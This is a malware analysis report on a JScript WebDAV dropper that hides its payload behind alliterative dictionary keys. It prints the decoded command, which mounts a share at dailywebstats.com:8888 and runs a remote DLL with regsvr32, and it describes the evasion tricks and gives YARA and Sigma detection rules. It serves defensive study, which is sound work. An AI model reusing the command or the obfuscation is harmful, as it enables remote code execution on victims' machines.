unclassified-js-webdav-dropper: cc90d6c — Alliterative dictionary obfuscation, dailywebstats.com C2, 7110415629547.dll payload

Executive Summary

18 KB JScript dropper hiding its payload behind a 62-entry character dictionary keyed with alliterative three-word English phrases. Decodes to powershell.exe -EncodedCommand mounting a WebDAV share at dailywebstats.com:8888 and loading 7110415629547.dll via regsvr32 /s. Twelfth confirmed sibling in the unclassified-js-webdav-dropper cluster; shares the same C2 host as e6ebae6a but uses a different dictionary naming convention and payload filename.

What It Is

Family attribution: unclassified-js-webdav-dropper. Twelfth confirmed sibling. Same C2 host (dailywebstats.com:8888) as e6ebae6a but with a distinct dictionary key style (alliterative English phrases vs. random lowercase strings). Same execution chain: net use + regsvr32 /s over WebDAV. Confidence: high.

How It Works

Layer 1 — Dictionary lookup table

The first ~13 KB of the file defines 62 key/value pairs in a JScript associative array named instructhelpunequal. ^[strings.txt] Keys are alliterative three-word English phrases (e.g. wavespoisedtrouble, dollschasesongs, blesslackingguiltless) mapping to single printable characters. Every ASCII letter (upper and lower), digit, and common punctuation mark is present. Key lengths range from 12 to 28 characters, with a median of 18.

This is a new dialect variant within the dictionary-lookup family. Prior siblings used:

• e6ebae6a: random lowercase strings (e.g. jnqowrftetlzrudc) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]
• fa7e181d: 36-entry random lowercase strings ^[/intel/analyses/fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7.html]
• fb353965: 62-entry alliterative three-word phrases (same style as this sample, different keys and split C2) ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]
• cb5d302f: 36-entry random lowercase strings ^[/intel/analyses/cb5d302f6577bd737bd3daf8e994120646b5340ec2dcedd017aac27496a48ae0.html]

Layer 2 — Try/catch decoy

The payload sits inside a catch block triggered by a deliberately failing try{wholesaleentergullible();}. ^[strings.txt:1] A second decoy try{transportairbillowy();} wraps the inner Function() constructor call. Both function names do not exist; naïve static analyzers following only the try branch miss the real behavior.

Layer 3 — Global object construction and execution

The real command is assembled via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...), a self-referential global-object construction to reach WScript.Shell without typing the literal. ^[strings.txt:1] The assembled Base64 string decodes (UTF-16-LE) to:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\7110415629547.dll

The run() call is invoked with arguments ('',0,false) — empty window title, hidden window (0), and non-blocking execution (false). ^[strings.txt:1]

No sandbox gates. No debugger checks. No connectivity checks. No persistence. One-shot dropper.

Decompiled Behavior

Not applicable — script source is fully available. Static deobfuscation (Python re + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]

C2 Infrastructure

DNS/hosting: dailywebstats.com was previously observed in e6ebae6a (30122106810637.dll payload). This sample reuses the same host with a different payload filename (7110415629547.dll), suggesting either the same actor rotating payloads or a shared WebDAV staging server.

Interesting Tidbits

• Alliterative key naming. Unlike the random-string keys in e6ebae6a/fa7e181d/cb5d302f, this sample and fb353965 use memorable alliterative phrases (e.g. wavespoisedtrouble, dollschasesongs). This suggests a common generator or author preference across these two siblings. ^[strings.txt]
• No PowerShell visible in plaintext. The -EncodedCommand wrapper hides the real command inside Base64; the JS layer only assembles the Base64 string. EDR relying on plaintext -EncodedCommand strings in the parent process (wscript.exe) will not see the real payload until powershell.exe spawns. ^[strings.txt:1]
• Try/catch nesting. Two nested try/catch blocks with non-existent functions (wholesaleentergullible, transportairbillowy) add friction for static analyzers that do not evaluate catch paths. ^[strings.txt:1]
• Single-line delivery. The entire 18 KB file is one line (18,148 chars, no line terminators). ^[file.txt] Consistent with email-attachment or download delivery where line breaks would be suspicious.
• DLL filename as timestamp. 7110415629547.dll resembles a timestamp (possibly 2024-11-04 15:29:547 or similar). Shared cluster fingerprint — all siblings use numeric DLL filenames of similar length.

Deployable Signatures

YARA rule

rule JS_WebDAV_Dropper_Alliterative_Dictionary {
    meta:
        author = "PacketPursuit"
        description = "JScript WebDAV dropper with alliterative dictionary obfuscation"
        family = "unclassified-js-webdav-dropper"
        confidence = "high"
        date = "2026-06-24"
    strings:
        $dict_var = /\w+=\[\];\w+\['[a-z]{12,28}'\]='.'/ nocase
        $alliterative_key1 = "wavespoisedtrouble"
        $alliterative_key2 = "dollschasesongs"
        $alliterative_key3 = "blesslackingguiltless"
        $function_constructor = "Function(''+"
        $wscript_shell = "'WScript.Shell'"
        $encoded_cmd = "-EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32"
        $try_decoy = /try\{\w+\(\);\}catch\(\w+\)\{/
    condition:
        filesize < 30KB and
        ($dict_var or $alliterative_key1 or $alliterative_key2 or $alliterative_key3) and
        $wscript_shell and
        ($encoded_cmd or ($davwwwroot and $regsvr32))
}

Behavioral hunt query (Sigma — process_creation)

title: WebDAV Regsvr32 DLL Sideloading from WScript Parent
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - '-EncodedCommand'
    selection2:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains:
            - 'DavWWWRoot'
            - '\\'
    condition: selection or selection2
falsepositives:
    - Legitimate WebDAV usage in enterprise environments (rare)
level: high

IOC list

Behavioral fingerprint statement

This JScript dropper is delivered as a single-line .js file with no line terminators. It defines a 62-entry character dictionary using alliterative three-word English phrase keys, then assembles a Base64-encoded PowerShell -EncodedCommand string via dictionary lookup concatenation. The decoded command mounts a WebDAV share at dailywebstats.com:8888 and executes regsvr32 /s against a remote DLL (7110415629547.dll). Two nested try/catch blocks with non-existent function calls (wholesaleentergullible, transportairbillowy) hide the real behavior from shallow static analysis.

Detection Signatures

References

• Artifact: cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf
• Source: OpenCTI / MalwareBazaar
• Related wiki pages: unclassified-js-webdav-dropper, js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading

Provenance

Analysis based on static deobfuscation of the raw JScript file. Tool outputs used: file.txt (file-type identification), strings.txt (raw script content), exiftool.json (metadata). No dynamic analysis performed — CAPE does not detonate plain-text scripts. ^[dynamic-analysis.md] Deobfuscation performed with Python re + base64 standard library, verified against the e6ebae6a analysis methodology. ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]